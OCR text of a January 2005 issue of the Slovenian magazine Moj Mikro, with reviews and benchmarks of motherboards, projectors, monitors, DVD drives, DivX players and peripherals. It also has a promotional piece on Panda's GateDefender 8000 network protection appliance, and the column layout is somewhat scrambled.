Spletni naslov: www.msi.com.tw
Cena: 43.000 SIT
Tehnični podatki
Vezni čip: Nvidia nForce3 Ultra
Osnova in CPU: AMD Socket 939, 1 CPU
Pomnilnika: 4 reže DDR400, do 4 GB
Razširitvene reže: 5x PCI, 1x AGP 8x
Funkcije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, gigabitni omrežni adapter,
osemkanalni zvok 7.1, priložena wifi 802.11g
kartica, dvokanalni krmilnik za pomnilnik

ZA:

Hitra in funkcionalno polna matična plošča za procesorje Athlon
64, osnove 939. Kopica
dodatnih funkcij, podpora
za dvokanalni dostop do
pomnilnika, priložen brezžični modul standarda 802.11g. Plošča podpira procesorje s prednjim vodilom
hitrosti 1 GHz (na podnužju 754 le 800 MHz).

PROTI: Visoka cena
Dve je več kot ena

Intel P4 3,46
GHz EE

Ločljivost, globina

Nvidia
6600
3D Mark 2005 1024 x 768 x 32 3116

Nvidia
6600 SLI
6024

Vrednosti meritev v 3Dmark2005.

ZA:

AMD Athlon 64 AMD Athlon 64 AMD Sempron
3500+
4000+
3100+

3DMark 2005
skupno 1024x768 3.189
3.055
3.138
2.213
PCMark 2004
Skupno
5.540
4.558
5.394
3.704
Procesorje smo soočili v testih PCMark 2004, 3DMark 2005. Vsi programi so sestavljeni iz nabora tipičnih aplikacij in uporab. Rezultat je sestavljen iz povprečij in je
indeksne oblike ali pa pomeni skupno oceno � višja številka pomeni boljši rezultat.
Pri testih 3,46 GHz procesorja Intel sta bila uporabljena plošča z naborom i925XE
ter 1024 MB dvokanalnega DDR-2 533 MHz pomnilnika; pri testu procesorjev AMD
Athlon 64 so bile uporabljene plošče ASUS A8V in MSI K8N-Neo2, Pri testu AMD
Semprona pa EPoX 8KDA3+, MSI K8N Neo ter K8M Neo-V. Uporabljeni sta bili grafiki
nVvidia GeForce 6600 GT na vodilu AGP 8x in na PCExpress. Sistem Windows XP.

Končno smo dočakali prve matične plošče
za namizne računalnike, ki podpirajo dve
reži za grafiko na vodilu PCI Express. Ko
je nVidia že pred slabega pol leta napovedala možnost vzporednega delovanja dveh
grafičnih kartic, ki v povezavi dosegata višji
rezultat, je bila glavna ovira pomanjkanje
matičnih plošč, ki bi imele dve grafični reži
PCIE x16. Do danes je bila taka le Intelova
matična plošča, namenjena delovnim postajam s procesorjem Xeon.
V preizkus smo dobili dve kartici PCIE proizvajalca ASUS, modela 6600 GT. Kartici
smo namestili na trenutno edino matično
ploščo, temelječo na nVidiinem novem veznem naboru nForce4. Osnovo smo zaokrožili z procesorjem AMD Athlon 64 4000+ ter
512 MB dvokanalnega pomnilnika DDR400. Slabost je vsekakor poraba energije, ki
se za tak par ob polni obremenitvi ocenjuje
na 300 W, kar pomeni, da boste morali poskrbeti za precej močan napajalnik.
Testi:

Testiranje istih procesorjev na ploščah različnih proizvajalcev (znotraj iste osnove) je
presenetljivo pokazalo dokaj podobne rezultate. Podobne rezultate lahko razložimo z zrelostjo osnove, ki je že dočakala vse popravke
biosov in drobnega navijanja. Osnova 939 sicer še pušča odprta vrata, vendar bodo te nove
razlike morali sprejeti novi vezni nabori.

Plošča, nabita z novimi funkcijami, ki
jih prinaša nForce4; podpora za dve vzporedno delujoči grafični kartici nVidia, podpora
za Serial ATA naslednje generacije – 3 GB/s;
dve gigabitni omrežni kartici s funkcijo AI net

ASUS A8N-SLI Deluxe

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Acord-92, d.o.o., Ljubljana
Spletni naslov: www.asus.com
Cena: 45.500 SIT
Tehnični podatki
Vezni čip: nVidia nForce4 SLI
Osnova in CPU: AMD Socket 939, 1 CPU
Pomnilnik: 4 reže DDR400, do 4 GB
Razširitvene reže: 3x PCI, 2x PCIE x16
Funkcije: 10x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA 3 GB/s, 2x gigabitni omrežni
adapter, osemkanalni zvok 7.1, priložena kartica wi-fi
802.11g, dvokanalni krmilnik za pomnilnik

za samodejno usmerjanje prometa in požarnega zidu; v vsakem pogledu najboljša plošča za
osnovo 939 ta hip; vrsta dodatnih funkcij, ki
jih ASUS že preroško izvede najbolje.

PROTI:

Cena ni ravno nizka – toda novotarije so drage!
MOJ MIKRO 1 JANUAR 2005

57

PREIZKUSILI SMO ...
projektor

projektor

projektor

RELISYS RLP 2000

NEC VT47

BenQ PB2240

Skupna ocena:

Razmerje cena/kakovost:

Informacije: ElkoTex, d.o.o., Ljubljana
Spletni naslov: www.relisys.com
Cena: okoli 397.000 SIT
Tehnični podatki
Tehnologija in ločljivost: 3 x 0,9” p-Si LCD, XGA
(1024x768)
Svetilnost: 2000 ANSI-lumnov
Kontrast: 400:1
Življenjska doba žarnice: 2000 ur
Vmesniki: kompozitni video, S-video, komponentni
video, 2x D-SUB, 2x RCA, DVI-D, USB, 2x minijack
stereo,krmilni vmesnik
Mere in teža: 260 x 320 x 114 mm; 3,9 kg
Daljinski upravljalnik: Da
Dodatno: Torba

ZA:

Dokaj velik in težak projektor klasične oblike se že ob prvem stiku z uporabnikom
pohvali z širokim naborom priključkov, kjer
najdemo tako DVI-D kot D-Sub in še komponentni video. Projektorjeva zmogljivost prikazati sliko tako po standardu NTSC kot PAL
in nadaljnja podpora za HDTV vse do 1080i,
poskrbi, da bo upravičeval vrednost nakupa še
dolga leta. Nazivna ločljivost projektorja je
1024 x 768, s stiskanjem pa zmore prikazati tudi
1280 x 1024 oziroma 750 TV-vrstic. Svetilnost
in kontrast sta dobra, slika je barvno pestra in
ostra. Sistem menijev je sicer malce zastarel in
okoren, a se uporabnik kar hitro privadi, pa
tudi zelo dober priložen daljinski upravljalnik
pri tem izredno pomaga. Za predstavitve je na
njem še vdelan laserski kazalnik. Z razdalje 2
metrov zna projektor ustvariti sliko s premerom 1,6 metra; sicer pa ima dovolj moči za projiciranje z razdalje do 15 metrov.

PROTI:

Projektor je zelo težak in velik, s
čimer ima že precej omejeno uporabo. Najbolj
pa moti precej glasno delovanje ventilatorjev, ki projektor naredijo praktično neuporaben zunaj večjih dvoran oz. brez montaže pod
stropom – kjer pa je spet vprašanje, ali svetlost
in kontrast zadoščata za tak večji prostor. Življenjska doba žarnice je le 2000 ur, brez možnosti ekonomičnega načina delovanja. Za izklop
in ohladitev žarnice projektor potrebuje kar
dve minuti.
Jaka Mele

58

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Acord-92, d.o.o., Ljubljana
Spletni naslov: www.de.nec.de
Cena: 274.900 SIT
Tehnični podatki
Tehnologija in ločljivost: 3 x 0,7 palca p-Si LCD,
SVGA (800 x 600)
Svetilnost: 1500 ANSI-lumnov
(1200 v ekonomičnem načinu)
Kontrast: 400 : 1
Življenjska doba žarnice: 2000 ur, (3000 ur v
ekonomičnem načinu)
Vmesniki: kompozitni video, S-video, D-sub, 2x RCA
avdio vhod, D-sub monitor izhod
Mere in teža: 294 x 260 x 94 mm; 2,9 kg
Daljinski upravljalnik: Da
Dodatno: Torba

ZA:

Čeprav tudi v nižjem cenovnem razredu projektorji nikakor nočejo narediti večjega
cenovnega padca, pa opazen dvig kakovosti.
Za dobrih 1000 dolarjev torej dobimo že povsem spodoben projektor, kot je na primer NEC
VT47. Projektor je razmeroma majhen, in čeprav ne spada v strogo ultralahko kategorijo,
ga lahko brez težav prenašamo naokoli. Je prijetnih zunanjih oblin, odet v belo ohišje in ponuja nazivno ločljivost 800 x 600, z interpolacijo
(NEC-ova patentirana rešitev AccuBlend) pa
do 1280 x 1024. NEC VT47 zna prikazati sliko
iz različnih virov, vključno z NTSC, PAL, SECAM; pri čemer mu pomaga standardni nabor
vmesnikov. Med delovanjem je projektor s svojimi 28 dB med tišjimi, kar pa pomeni le, da ga
med predvajanjem filma ne boste slišali. Svetilnost in kontrast sta zelo dobra. Slika je barvno
pestra in ostra. Projektor smo preizkusili tudi v
svetlem prostoru in slika je bila še vedno uporabna. Z razdalje 9 metrov zna projektor ustvariti
sliko s premerom 7,6 metra; v stvarnejših razmerah dnevne sobe, pa zna že pri oddaljenosti 3
metre prikazati sliko diagonale 2 m. Prijetno sta
presenetila zelo hiter čas zagona projektorja kot
tudi izredno hiter čas izklopa (hlajenje žarnice v
varno območje je trajalo okoli pol minute). Projektor je preko vdelanih krmilnih gumbov in daljinskega upravljalnika enostavno upravljati.

PROTI:

Kaže, da projektorji z življenjsko
dobo žarnice nad 3000 ur počasi izginjajo.
Projektor zna sicer popravljati popačenja slike (projekcija na krive, upognjene površine),
vendar je ta domena prepuščena dražjim modelom. Tudi barvne korekcije ne obvlada. Pogrešali smo čip za bolj tekoč prikaz video slike.
Jaka Mele

MOJ MIKRO 1 JANUAR 2005

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Avtera, d.o.o., Ljubljana
Spletni naslov: www.benq.com
Cena: 473.700 SIT
Tehnični podatki
Tehnologija in ločljivost: 0,55” SVGA DPL,
XGA (1024 x 768)
Svetilnost: 2000 ANSI-lumnov
Kontrast: 2000:1
Življenjska doba žarnice: 2000 ur,
(3000 ur v ekonomičnem načinu)
Vmesniki: kompozitni video, S-video, D-sub,
minijack avdio vhod, USB
Mere in teža: 238 x 86 x 180 mm; 2,9 kg
Daljinski upravljalnik: Da
Dodatno: Torba

ZA:

BenQ PB2240 je zelo majhen in dokaj lahek projektor elegantne oblike, odet v
poslovne črno-srebrne odtenke. Tehnologija
DLP-projektorju omogoča izredno svetlo in
kontrastno sliko, kar je v razredu prenosnih
projektorjev redkost in ima svojo ceno. Projektor zna samodejno popravljati trapezno
popačenje slike, ki nastane pri projekciji na
nagnjeno steno ali zaradi nivojskega razkoraka
postavitve. Tehnološko torej dovršen projektor, ki ponuja nazivno ločljivost 1024 x 768, z
interpolacijo pa do 1280 x 1024. Barve projicirane slike so bile odlične, kontrastna slika pa
dobro vidna tudi v svetli sobi. Projektor se po
številkah z vrednostmi pod 36 dB sicer uvršča
v zlato sredino, a je še vedno precej moteč pri
delovanju v majhnem prostoru ali pri predavatelju s slabim glasom. Z razdalje 2 metrov zna
projektor ustvariti sliko s premerom skoraj 2
metra, s čimer je primeren za projekcijo tudi v
manjših prostorih. Projektor sprejme in prikaže
sliko tako iz virov PAL kot NTSC, tuja pa mu
nista niti HDTV in prikaz slike razmerja 16
: 9. Čas zagona projektorja je med hitrejšimi,
čas izklopa (hlajenja žarnice v varno območje)
pa je minuto in pol. Projektor je prek vdelanih
krmilnih gumbov in daljinskega upravljalnika
enostavno upravljati, v kompletu pa je priročno priložen tudi daljinski upravljalnik predstavitev.

PROTI:

Projektor ima navkljub majhnosti
dokaj malo vhodov, saj smo pogrešali digitalni
vhod DVI ter stereo RCA (činč), prav tako izhod za povezavo na drug zaslon. Projektor je ne
glede na ponujeno med dražjimi.
Jaka Mele

PREIZKUSILI SMO ...

spletna kamera

LCD-monitor

LCD-monitor

Logitech QuickCam
Communicate Plus

NEC 1770NX

BenQ FP767-12

Skupna ocena:

Razmerje cena/kakovost:

Spletni naslov: www.logitech.com
Cena: 17.200 SIT
Tehnični podatki
Število pik: 300 K
Najvišja ločljivost: 640 x 480
Ločljivost videa: 640 x 480
Število zajetih slik na sekundo: do 30
Vmesnik: USB 2.0 in 1.1

ZA:

Uporabo spletne kamere dandanes podpira že vsaka omrežna aplikacija. Različice najbolj uporabljanih takojšnih komunikatorjev,
kot so ICQ, MSN in Yahoo Messenger, kamere podpirajo že dlje časa, v prihodnjih mesecih
pa se nadejamo podpore tudi v programih, kot
je Skype, z navezo na mobilne UMTS-telefone pa bo slika še zlasti pomembna. Logitech
je proizvajalec spletnih kamer že dolga leta,
odkar ko je prevzel podjetje QuickCam. V ponudbi osnovnega vstopnega razreda najdemo
model Communicate Plus, v paketu pa poleg
kamere, ki se jo s priloženim držalom da namestiti na rob LCD-zaslona ali prostostoječo
na vsako ravno površino, najdemo še slušalke
z vdelanim mikrofonom in vso potrebno programsko opremo, da takoj začnemo komunicirati. Kamera je združljiva z zgoraj navedenimi
programi in Microsoftovim NetMeetingom,
Logitechova lastna programska oprema pa
omogoča še pošiljanje zajetih slik po e-pošti in
snemanje video posnetkov.

PROTI:

Kakovost spletnih kamer je že
nekaj let na isti ravni in napredek v drugih
delih računalniške industrije se nikakor ne dotakne tega segmenta. Kakovost slike in videa
je sprejemljiva, hitrost zajema bi bila lahko
višja. Prenos živega videa ločljivosti 640 x 480
po ADSL- ali kabelskih linijah namreč ni več
obremenitev, tako da si želimo višjo ločljivost.
Logitechov VideoCall je sicer korak v pravo
smer, a je treba polno licenco programa doplačati.
Jaka Mele

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Acord-92. d.o.o., Ljubljana
Spletni naslov: www.de.nec.de/
Cena: 109.900 SIT
Tehnični podatki
Velikost diagonale: 17 palcev
Ločljivost: 1280 x 1024 @ 75 Hz
Barvna globina: 16,7 milijona barv
Zorni kot: 160 stopinj vodoravno,
160 stopinj navpično
Svetilnost: 250 cd/m2
Kontrastno razmerje: 500 : 1
Osveževanje: 12 ms
Vmesniki in priključki: D-sub, DVI

ZA:

Zaslon NEC 1770NX že na prvi pogled
sodi v višji kakovostni in s tem tudi cenovni
razred. Tudi za ergonomijo je odlično poskrbljeno, saj je moč monitor nastaviti tako po višini kot po navpičnem kotu. Zaslon ima ozek
rob in pod spodnjim robom posrečene krmilne
gumbe, ki kar vabijo roko. Napajalnik je vdelan v zaslon, pa tudi kanali za zakrito položitev kablov so tu. Odlična slika z uravnoteženo
belino in kontrastom je prisotna že samodejno
kot tovarniška nastavitev. Omogoča odlično
vidnost tako podnevi pri sončni svetlobi kot
ponoči, ko kontrast ne utruja oči. Zaslon uporablja TFT-matriko z 12 ms odzivnim časom,
kar poskrbi za nemoten prikaz hitre, žive slike.
Ločljivost 1280 x 1024 omogoča nemoteno
delo. Zaslon ima odlične, žive barve, tudi kontrast je dovolj velik, da ob razponu med zelo
svetlimi in zelo temnimi toni na isti sliki dovolj dobro prikaže podrobnosti na robu palete.
Naprava omogoča priključitev tako prek analognega kot digitalnega DVI-vmesnika, težav
pri interpolaciji v nižji ločljivosti nismo zaznali. Vidni kot je tudi odličen.

PROTI:

Žal monitorja ni moč zasukati v
pokončni položaj. Predvsem pa moti cena, ki
bo od nakupa odvrnila večino, razen najpozornejših in izbirčnih kupcev.
Jaka Mele

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Avtera, d.o.o., Ljubljana
Spletni naslov: �
Cena: 98.700 SIT
Tehnični podatki
Velikost diagonale: 17 palcev
Ločljivost: 1280 x 1024 @ 60 Hz
Barvna globina: 16,7 milijona barv
Zorni kot: 160 stopinj vodoravno,
160 stopinj navpično
Svetilnost: 300 cd/m2
Kontrastno razmerje: 500 : 1
Osveževanje: 12 ms
Vmesniki in priključki: D-sub

ZA:

BenQ si z Avtero na slovenskem trgu
vse bolj utrjuje vidno mesto. Hkrati pa vse kaže,
da je postal vodilni tehnološkega razvoja med
LCD-zasloni, saj se novi model ponaša z nazivno hitrostjo 12 ms. Zaslon je odet v kombinirano črno-srebrno ohišje, z elegantnimi gumbi
in prikazovalnikom delovanja. Hitra odzivnost
je primerna za gledanje filmov in igranje iger.
Zaslon nas je vizualno zadovoljil. Barve in svetlost so bile razporejene enakomerno, kontrast
je bil na povprečnih vrednostih. Sistem menijev je pregleden in uporaben, čeprav razporeditev krmilnih tipk zahteva nekaj prilagajanja.
Zaslon ima širok razpon med zelo svetlimi in
zelo temnimi toni na isti sliki, a bi lahko prikazal tudi kakšno podrobnost več.

PROTI:

Hitrost ni vse. Že vizualna ocena
pokaže, da zaslon v določenih primerih sliko
osvežuje s precej počasnejšim časom, ki je v
špicah bližje 35 kot 12 ms. Zato v določenih
kompozicijah in barvah slike še vedno opazimo vzorčenje ob hitri menjavi slike. Pogrešali
smo dodatne funkcije, kot sta recimo digitalni
vhod ter ergonomija, hkrati pa bi z veseljem
pogrešali vdelane zvočnike. Pri interpolaciji v
nižji ločljivosti slika zgubi ostrino.
Jaka Mele
MOJ MIKRO 1 JANUAR 2005

59

PREIZKUSILI SMO ...
DVD-zapisovalnik 16x

hi-fi DVD/DivX-predvajalnik

Yamakawa 335 Yamakawa 375

NEC 3520

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Acord-92. d.o.o., Ljubljana
Spletni naslov: www.de.nec.de
Cena: pod 19.000 SIT
Tehnični podatki
Tip: DVD+-R/W
Hitrost branje/pisanje/prepisovanje DVD: 12/16(16)/8(6)x
Zapisuje dvoslojne medije: da, 4x (2x)
Hitrost branje/pisanje/prepisovanje CD: 48/32(48)/16(24x)
Količina predpomnilnika: 2 MB
Preverjanje zapisovanja: Da
Dodatki: �
Priložena programska oprema: �

ZA:

Osvežitev iz NEC-ovega tabora spet
dviga zmogljivosti optičnih DVD-zapisovalnikov. Najvišje hitrosti zapisovanja, 16x, sicer
ni moč več izboljšati, zato pa se dviga hitrost
zapisovanja prepisljivih medijev, ki je pri
DVD+RW zdaj že 8x, pri –RW pa 6x. Prav
tako enota poleg že videnega dvoslojnega zapisovanja DVD+R DL (4x), prinaša dvoslojno
zapisovanje tudi za tabor –R DL, kjer dosega
hitrost 2x. Zapisovanje 4,7 GB podatkov je
bilo skupaj z zaključevanjem seje opravljeno
v dobrih 6 minutah. Dostopni časi so okoli
120 ms pri DVD-delu, enako pri CD-načinu.
Tehnične značilnosti pri CD-delu ostajajo iste
− 48x hitrost zapisovanja CD-R in 24x hitrost
prepisovanja. Enota je še krajša in lažja kot
predhodnik, delovanje pa je izredno tiho. Tudi
sama mehanika je daje občutek natančnosti
– pladenj se premika mehko in tiho, brez zabijanja ali zadevanja, kar nas je posebej razveselilo, saj smo prav tu pri testu 3500 opozorili na
težave. Gre torej za odlično enoto, ki zapisuje
kakovostno, hitro in hkrati ceneje. Priporočamo!

PROTI:

Čeprav mediji s podporo 16x DVDzapisovanju že prihajajo, množično in ceneje
še vedno dobimo le 8x ali celo 4x. Dvoslojni
mediji so še vedno dragi, -R DL pa sploh še ni
videti. V OEM-različici enoti ni bilo priložene
dodatne programske opreme. Pričakovali smo
tudi že vmesnik SATA, a o njem še ni sledi,
ostajamo pri preizkušenemu EIDE.
Jaka Mele

60

MOJ MIKRO 1 JANUAR 2005

hi-fi DVD/DivX-predvajalnik

Skupna ocena:

Razmerje cena/kakovost:

Informacije: ChipTrade, d.o.o., Ljubljana
Spletni naslov: www.yamakawa.de
Cena: 24.000 SIT
Tehnični podatki
Podprti mediji: DVD-R(W), DVD+R(W), CD-R, CD-RW
Predvaja: DVD, VCD, SVCD, CDDA, MP3, ISO MPEG4,
DivX, Xvid, Picture CD, JPEG CD, WMV
Video izhodi:SCART, kompozitni, koaksialni,
S-video, D-SUB
Avdio izhodov: 2x činč (stereo RCA), 6x činč (5.1
analogni), koaksialni digitalni, optični S/PDIF
DVD regijsko zaščiten: Da
DolbyDigital dekodirnik: Da
Daljinski upravljalnik: Da

ZA:

Yamakawin najcenejši DivX-predvajalnik je tanka enota, ki odeta v srebrno barvo
in prijetne linije poživi katerokoli površino. V
primerjavi z zmogljivejšim modelom 375 ima
elegantnejšo linijo, preglednejši pa je celo daljinski upravljalnik. Enota temelji na čipovju
Mediatek, ki je sicer eno starejših, a končno
dobiva dodatke, obljubljene že pri prvih enotah
(Yamada, Philips 720sa, Pioneer 470-575, Elta
...). Enota predvaja DVD- in različne vsebine
MPEG 4 od DivX 3.11 naprej. Izstopajo podpora zapisu Windows Media Video ter možnosti prikazovanja podnapisov (štiri možne
izbire velikosti in barv, sredinska postavitev),
s pravilnim prikazovanjem slovenskih znakov.
Z najnovejšim popravkom, ki smo ga prejeli v
času testiranja, je branje medijev enakomernejše in enota zato tišja. Enota se lahko pohvali z dekodirnikom Dolby Digital oz. DTS, s
čimer ponuja veliko več kot primerljive enote
v tem cenovnem razredu. Progresivno izrisovanje ter izhod D-sub za priklop v računalniški
monitor samo še povečata vrednost.

PROTI:

Skupna ocena:

Razmerje cena/kakovost:

Informacije: ChipTrade, d.o.o., Ljubljana
Spletni naslov: www.yamakawa.de
Cena: 39.000 SIT
Tehnični podatki
Podprti mediji: DVD-R(W), DVD+R(W), CD-R, CD-RW
Predvaja: DVD, VCD, SVCD, CDDA, MP3, ISO MPEG4,
DivX, Xvid, Picture CD, JPEG CD, Ogg Vorbis, WMV
Video izhodi: SCART, kompozitni, koaksialni,
S-video, DVI
Avdio izhodi: 2x činč (stereo RCA), koaksialni digitalni,
optični S/PDIF
DVD regijsko zaščiten: Da
DolbyDigital dekodernik: Ne
Daljinski upravljalnik: Da

ZA:

Yamakawini predvajalniki so na slovenskih tleh prisotni že od začetka samostojnih
predvajalnikov vsebin DivX, in navkljub nenavadnemu imenu gre za preizkušeno nemško
podjetje. Predvajalnik model 375 temelji na
sicer malce starejšemu čipovju Sigmadesign,
ki pa ga uporablja tudi celotna paleta predvajalnikov KISS. Predvajalnik srebrne barve
sicer deluje klasično, elegantno. Enota je brez
težav predvajala DVD in različne MPEG 4
vsebine od DivX 3.11 naprej. Pohvaliti velja
podporo zapisoma Windows Media Video in
OggVorbis. Predvajalnik na zaslončku izpisuje
osnovne podatke oz stanje, med predvajanjem
MP3-glasbe pa tudi ID3-informacije. Enota
podpira predvajanje podnapisov, pri čemer je
ime datoteke popolnoma nevezano na predvajano datoteko. Enota pravilno prikaže tudi
šumnike, brez težav obvlada hitro premikanje
naprej in nazaj, omogoča celozaslonsko sliko
ter dodatne povečave. Podpora zapisu HDTV
(do 1080i) ter progresivno izrisovanje in digitalni DVI-D izhod so še pika na i.

PROTI:

Enota ima precej šibak pladenj
za medije. Glede na primerljive enote v spodnjem cenovnem razredu pa je za slabih deset
tisočakov (ali 60 %) predraga.

Daljinski upravljalnik je precej siv,
tipke so precej stisnjene skupaj in ne dajejo
najboljšega vtisa o preglednosti in dostopnosti.
Enota je med premikanjem pladnja in predvajanjem še vedno slišna, gumbi na enoti delujejo preveč »industrijsko«.

Jaka Mele

Jaka Mele

Novi Panda GateDefender serije 8000
za učinkovito zaščito omrežij
Naloge Pandine družine izdelkov GateDefender lahko razdelimo na tri področja: protivirusna
zaščito omrežij, filtriranje spletnih vsebin in preprečevanje zasipanja z neželenimi sporočili
elektronske pošte (spam).
S povezovanjem programske
in strojne opreme Panda GateDefender serije 8000 varuje
zunanji ščit omrežja podjetja
pred vsemi vrstami virusov,
črvov in trojancev ter odkriva
in onemogoča zlonamerne programske kode v šestih najbolj
uporabljenih protokolih: HTTP,
FTP, SMTP, POP3, IMAP4 in NNTP. Skrbniki imajo nadzor nad uporabo podjetniških
omrežnih sredstev,GateDefender pa jim omogoča takojšno preprečitev dostopa do
neprimerne internetne vsebine, ki lahko vpliva na storilnost in celo škoduje ugledu
podjetja. Omogočeno je filtriranje naslovov URL po kategorijah ali po seznanim črnih
oziroma odobrenih naslovov, uporabniške skupine pa se lahko določijo s posebnimi
pravicami dostopa (npr. seznami VIP ali izvzem iz filtrov). Omogoča tudi filtriranje
vsebin po končnicah datotek, nadzor nad ranljivostmi Outlooka in strežnika IIS (ki jih
izkoriščajo zlonamerne kode) ter filtriranje potegavščin, klicalnih programov (dialers)
in programov za vohunjenje (spyware).
Rešitve vključujejo močan in učinkovit protispamni modul za varovanje poštnih nabiralnikov uporabnikov pred zasipavanjem z neželeno e-pošto. Modul je enostavno namestiti,
v samo nekaj minutah. Odtlej bo Panda GateDefender 8000 pregledoval ves promet
SMTP, POP3 in IMAP4 v omrežju in odkrival neželeno e-pošto na podlagi pravil, ki
jih je določil skrbnik. Še več, to bo počel samodejno po zaslugi stalnih posodobitev.
Protispamni modul ima tudi sposobnost učenja, saj se lahko nauči identificirati spam
prek sporočil, ki se pošiljajo iz podjetja. Protispamni modul omogoča skrbniku ustvariti tudi črni seznam za blokiranje neželenih sporočil glede na naslove pošiljatelja,
domene ali naslova IP. Prav tako lahko ustvari »beli seznam« z določanjem sporočil,
ki jih protispamnemu modulu ni treba pregledati.

SAMODEJNO PREPOZNAVANJE SPAMA
S ŠTIRIMI PREGLEDOVALNIKI
SpamBulk: Primerja sporočilo z notranjim seznamom znanih neželenih sporočil, ki so
se prej množično pošiljala.
SpamReput: Preverja pošiljatelja na notranjem seznamu z znanimi spamerji (pošiljatelji
spama).
SpamContent: Pregleda vsebino sporočila, tako da preveri slog, obliko, jezik in besedilo.

Delčke zmanjša na minimum,
da bi odkril ključne besede, tudi
če besede niso točen zadetek.
SpamTricks: Preveri, ali sporočilo
vsebuje tehnične trike, ki jih
običajno uporabljajo pošiljatelji
spama, kot so sporočila samo
v sliki, zakriti HTML itd. Odkrije
tudi zlonamerna spam sporočila, znana kot tehnika phishing
– to pomeni, da so sporočila
videti, kot da prihajajo iz znanih
podjetij in poskušajo uporabnike pretentati, da razkrijejo
osebne informacije.
Ti pregledovalniki se stalno
razvijajo po zaslugi sposobnosti samoučenja in posodobitev. Vsako uro in pol se te
naprave povežejo v strežnike podjetja Panda Software, da preverijo, ali so bila pravila
odkrivanja spremenjena. Te funkcionalnosti dajejo izdelku Panda GateDefender 8000
izjemno sposobnost boja proti neželeni e-pošti, škodljivim kodam in zapravljanju časa
na spletnih straneh, ki niso primerne za ogled v delovnem času.

MODULI PROTI SPAMU
PODJETJEM PONUJAJO TUDI DRUGE KORISTI:
� Povečanje storilnosti zaposlenih, saj podjetje prihrani pomemben del izgubljenega časa.
� Boljše delovanje omrežja, saj se zmanjša obremenitev poštnega strežnika. To
zmanjša tudi notranji omrežni promet.
� Varovanje ugleda podjetja s tem, da pošiljateljem spama prepreči, da izkoristijo
strežnike podjetja za pošiljanje spama tretjim osebam.
� Hitra povrnitev naložbe (ROI), saj skrbnikom GateDefender prihrani izgubljeni čas
za branje in brisanje teh sporočil.
Novi strežniki Pande Software optimirajo rabo omrežnih sredstev in dajejo odlične rezultate v boju proti spamu. Zmogljivost pregledov se razlikuje med modeli: Panda GateDefender 8050 doseže do 5 Mb/s in 120.000 sporočil na uro; Panda GateDefender
8100 do 14 Mb/s in 300.000 sporočil na uro; Panda GateDefender 8200 do 600.000
sporočil na uro pri hitrosti 30 Mb/s. Moduli, vključeni v novi Panda GateDefender,
omogočajo skrbniku omrežja nadzor dejavnosti zaščite pred škodljivci in vsiljivci prek
konzole za nastavitve in nadzor, do katere dostopa prek protokola HTTPS. To pomeni,
je mogoče napravo nadzirati s katerekoli delovne postaje s povezavo v internet.
(promocijski članek)

MOJ MIKRO 1 JANUAR 2005

61

PREIZKUSILI SMO ...
delovna postaja

grafična tablica

miška

HP XW4200

Wacom Intous 3

Logitech MediaPlay
Cordless

Skupna ocena:

Razmerje cena/kakovost:

Informacije: HP Slovenija. d.o.o., Ljubljana
Spletni naslov: www.hp.com
Cena: priporočena cena z DDV 774.000 SIT
(odvisno od modela)
Tehnični podatki:
Procesor: Intel Pentium 4 (Prescott 775)
1 MB L2-predpomnilnika, 3,6 MHz
Osnova: Intel’s 925X Express
Pomnilnik: 1 GB DDR2-533MHz ECC
Grafika: nVidia Quadro FX 3400, PCI-E
Priključki: 8x USB-vrata 2.0, omrežna kartica
10/100/1 Gb
Dodatno: DVD+RW optični pogon

ZA:

Nova delovna postaja HP XW4200 bo
zamenjala postajo 4100. Namenjena je predvsem za delo na področju CAD ter za obdelavo
in izdelavo digitalnih vsebin, kjer je potrebna
precejšnja procesorska moč. Svoje mesto bo
zagotovo našla v pisarnah finančnih ustanov, v
geodetskih birojih za obdelavo zemljevidov ter
povsod, kjer se pojavljajo zahtevne matematične
operacije, kot so simulacije vremenskih pojavov,
prometnih konic, v farmaciji ... V primerjavi s
prejšnjim modelom ima delovna postaja XW4200 s sprednje strani priključke za USB-enote
(ključ) in slušalke z mikrofonom. Pohvaliti velja
tudi posebej tih ventilator, ki ne moti, tudi če je
postaja na mizi. Med testiranjem smo poganjali tudi MATLAB 7, ki je razkril zelo zmogljiv
procesor in postajo uvrstil tik pod vrh lestvice.
Postajo smo preizkusili tudi z različnimi igrami
(Half Life 2), kjer je potrebno veliko grafičnega
preračunavanja, in obnesla se je več kot dobro.

PROTI:

Glede na namembnost postaje za
CAD/CAM, smo bili med testiranjem presenečeni nad slabostmi pri izrisovanju 3D-objektov. Pri nekoliko zmogljivejši grafični kartici bi se postaja brez težav uvrstila više.
Milan Simčič

Skupna ocena:

Razmerje cena/kakovost:

Informacije: Gregor, d.o.o.
Spletni naslov: www.wacom.com
Cena: 124.800 SIT
Tehnični podatki:
Velikost: 440 x 340 x 14 mm
Aktivna površina: 305 x 231 mm
Občutljivost na pritisk: 1024 stopenj
Natančnost: +/- 0.25mm

ZA:

Ob poplavi digitalnih fotoaparatov in s
tem večje obdelave slik je grafična tablica eno
izmed orodij, o katerem se splača razmišljati.
Podjetje Wacom tu trdno drži vajeti v rokah,
saj s svojo patentirano tehnologijo, ki jim
omogoča prenos in nadzor nad peresom brez
dodatne baterije ali kabla, ohranja prednost
pred preostalimi proizvajalci. To je tudi razlog, zakaj Wacomove tablice omogočajo večjo
natančnost, kar je pri grafičnem delu ena od
najbolj zaželenih lastnosti. Če povemo to še
drugače, delo s tablico je v primerjavi z miško
tudi do petkrat hitrejše.
Zadnja serija Intous 3 prinaša nekaj zanimivih novosti. Oblika je že malce vesoljska, predvsem k temu prispevajo novi gumbi in drsnika,
ki ponujata vse možnosti, ki jih od sodobne
krmilne enote pričakujemo. Tablica ima kar
1024 stopenj občutljivosti na pritisk in prekaša večino drugih. Novo pero ima tudi nove
konice, med njimi takšno, ki se ob pritisku
ugrezne ter s tem posnema tehniko »pršila« iz
risarstva; prepozna pa celo nagib peresa. Vse to
se da s pridom izkoristiti predvsem v Photoshopu ter v več kot 20 orodjih, poleg tega dobite v
paketu še dodatna orodja za enostavnejše delo.
Programska oprema omogoča nastavitev vrste
možnosti. Tudi gumbom in drsnikoma lahko
določimo druge nastavitve, recimo bližnjice do
